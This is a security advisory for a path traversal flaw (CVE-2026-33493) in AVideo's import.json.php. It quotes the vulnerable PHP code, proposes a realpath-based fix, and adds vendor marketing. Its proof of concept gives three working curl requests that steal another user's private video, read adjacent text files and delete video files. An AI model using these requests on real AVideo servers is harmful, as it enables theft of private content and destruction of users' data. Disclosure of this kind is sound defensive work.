Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘 Packagist

GHSA-83xq-8jxj-4rxm

HIGH

AVideo has a Path Traversal in import.json.php Allows Private Video Theft and Arbitrary File Read/Deletion via fileURI Parameter

Also known asCVE-2026-33493
Published
Mar 20, 2026
Updated
Mar 25, 2026
Affected
1 pkg
Patched
None yet
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk25th percentile+0.23%
0.00%0.28%0.56%0.83%0.1%0.1%0.1%0.3%Apr 26Jun 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐘wwbn/avideo

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The objects/import.json.php endpoint accepts a user-controlled fileURI POST parameter with only a regex check that the value ends in .mp4. Unlike objects/listFiles.json.php, which was hardened with a realpath() + directory prefix check to restrict paths to the videos/ directory, import.json.php performs no directory restriction. This allows an authenticated user with upload permission to: (1) steal any other user's private video files by importing them into their own account, (2) read .txt/.html/.htm files adjacent to any .mp4 file on the filesystem, and (3) delete .mp4 and adjacent text files if writable by the web server process.

Details

Missing path restriction in import.json.php

At objects/import.json.php:12, the only validation on the user-supplied fileURI is a regex ensuring it ends with .mp4:

// objects/import.json.php:12
if (!preg_match("/.*\\.mp4$/i", $_POST['fileURI'])) {
    return false;
}

Compare this to the hardened listFiles.json.php:16-28, which was patched to restrict paths:

// objects/listFiles.json.php:16-28
$allowedBase = realpath($global['systemRootPath'] . 'videos');
// ...
$resolvedPath = realpath($_POST['path']);
if ($resolvedPath === false || strpos($resolvedPath . '/', $allowedBase) !== 0) {
    http_response_code(403);
    echo json_encode(['error' => 'Path not allowed']);
    exit;
}

The same fix was never applied to import.json.php.

Attack Primitive 1: File content disclosure (.txt/.html/.htm)

At lines 23-43, the endpoint strips the .mp4 extension from fileURI and attempts to read adjacent .txt, .html, or .htm files via file_get_contents():

// objects/import.json.php:23-43
$filename = $obj->fileURI['dirname'] . DIRECTORY_SEPARATOR . $obj->fileURI['filename'];
$extensions = ['txt', 'html', 'htm'];
foreach ($extensions as $value) {
    if (file_exists("{$filename}.{$value}")) {
        $html = file_get_contents("{$filename}.{$value}");
        $_POST['description'] = $html;
        // ...
        break;
    }
}

The content flows into $_POST['description'], which is then saved as the video description by upload.php:59-64:

// view/mini-upload-form/upload.php:59-64
if (!empty($_POST['description'])) {
    // ...
    $video->setDescription($_POST['description']);
}

The attacker then views the imported video to read the file contents in the description field. This works for any path where both a .mp4 file and an adjacent .txt/.html/.htm file exist — which is the standard layout for every video in the videos/ directory.

Attack Primitive 2: Private video theft

At line 49, the endpoint copies the .mp4 file to a temp directory and then imports it as the current user's video:

// objects/import.json.php:47-49
$source = $obj->fileURI['dirname'] . DIRECTORY_SEPARATOR . $obj->fileURI['basename'];
if (!copy($source, $tmpFileName)) {
    // ...
}

An attacker who knows or can enumerate another user's video filename can copy any private .mp4 file into their own account.

Attack Primitive 3: File deletion

At lines 54-65, when $_POST['delete'] is set, the endpoint deletes the source .mp4 and adjacent text files:

// objects/import.json.php:54-61
if (!empty($_POST['delete']) && $_POST['delete'] !== 'false') {
    if (is_writable($source)) {
        unlink($source);
        foreach ($extensions as $value) {
            if (file_exists("{$filename}.{$value}")) {
                unlink("{$filename}.{$value}");
            }
        }
    }
}

PoC

Step 1: Steal a private video

Assuming the attacker knows another user's video filename (e.g., victim_video_abc123), which can be enumerated via the platform UI or API:

curl -b 'PHPSESSID=<authenticated_session_with_upload_perm>' \
  -X POST 'https://target/objects/import.json.php' \
  -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4'

Expected result: The response returns {"error":false, "videos_id": <new_id>, ...}. The victim's private .mp4 is now imported as the attacker's own video at the returned videos_id.

Step 2: Read another user's video description file

curl -b 'PHPSESSID=<authenticated_session_with_upload_perm>' \
  -X POST 'https://target/objects/import.json.php' \
  -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4&length=100'

Expected result: If victim_video_abc123.txt (or .html/.htm) exists alongside the .mp4, its contents are stored as the description of the newly created video. The attacker views the video page to read the exfiltrated content.

Step 3: Delete another user's video

curl -b 'PHPSESSID=<authenticated_session_with_upload_perm>' \
  -X POST 'https://target/objects/import.json.php' \
  -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4&delete=true'

Expected result: The victim's .mp4 file and any adjacent .txt/.html/.htm files are deleted (if writable by the web server process).

Impact

  • Private video theft: Any authenticated user with upload permission can import another user's private videos into their own account, bypassing all access controls. This directly compromises video content confidentiality.
  • File content disclosure: .txt, .html, and .htm files adjacent to any .mp4 on the filesystem can be read by the attacker. Within the AVideo videos/ directory, these are video description files that may contain private information.
  • File deletion: An attacker can delete other users' video files and metadata, causing data loss.
  • Blast radius: All private videos on the instance are accessible to any user with upload permission. In default AVideo configurations, registered users can upload.

Recommended Fix

Apply the same realpath() + directory prefix check from listFiles.json.php to import.json.php, immediately after the .mp4 regex check:

// objects/import.json.php — add after line 14 (the preg_match check)
$allowedBase = realpath($global['systemRootPath'] . 'videos');
if ($allowedBase === false) {
    die(json_encode(['error' => 'Configuration error']));
}
$allowedBase .= '/';

$resolvedDir = realpath(dirname($_POST['fileURI']));
if ($resolvedDir === false || strpos($resolvedDir . '/', $allowedBase) !== 0) {
    http_response_code(403);
    die(json_encode(['error' => 'Path not allowed']));
}
// Reconstruct fileURI from resolved path to prevent symlink bypass
$_POST['fileURI'] = $resolvedDir . '/' . basename($_POST['fileURI']);

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐘Packagistwwbn/avideoall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Remediation status

    No patched version of wwbn/avideo has shipped for GHSA-83xq-8jxj-4rxm yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-83xq-8jxj-4rxm is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-83xq-8jxj-4rxm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The `objects/import.json.php` endpoint accepts a user-controlled `fileURI` POST parameter with only a regex check that the value ends in `.mp4`. Unlike `objects/listFiles.json.php`, which was hardened with a `realpath()` + directory prefix check to restrict paths to the `videos/` directory, `import.json.php` performs no directory restriction. This allows an authenticated user with upload permission to: (1) steal any other user's private video files by importing them into their own account, (2) read `.txt`/`.html`/`.htm` files adjacent to any `.mp4` file on the filesystem, and (3) d
O3 Security · Impact-Aware SCA

Is GHSA-83xq-8jxj-4rxm in your dependencies?

O3 detects GHSA-83xq-8jxj-4rxm across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.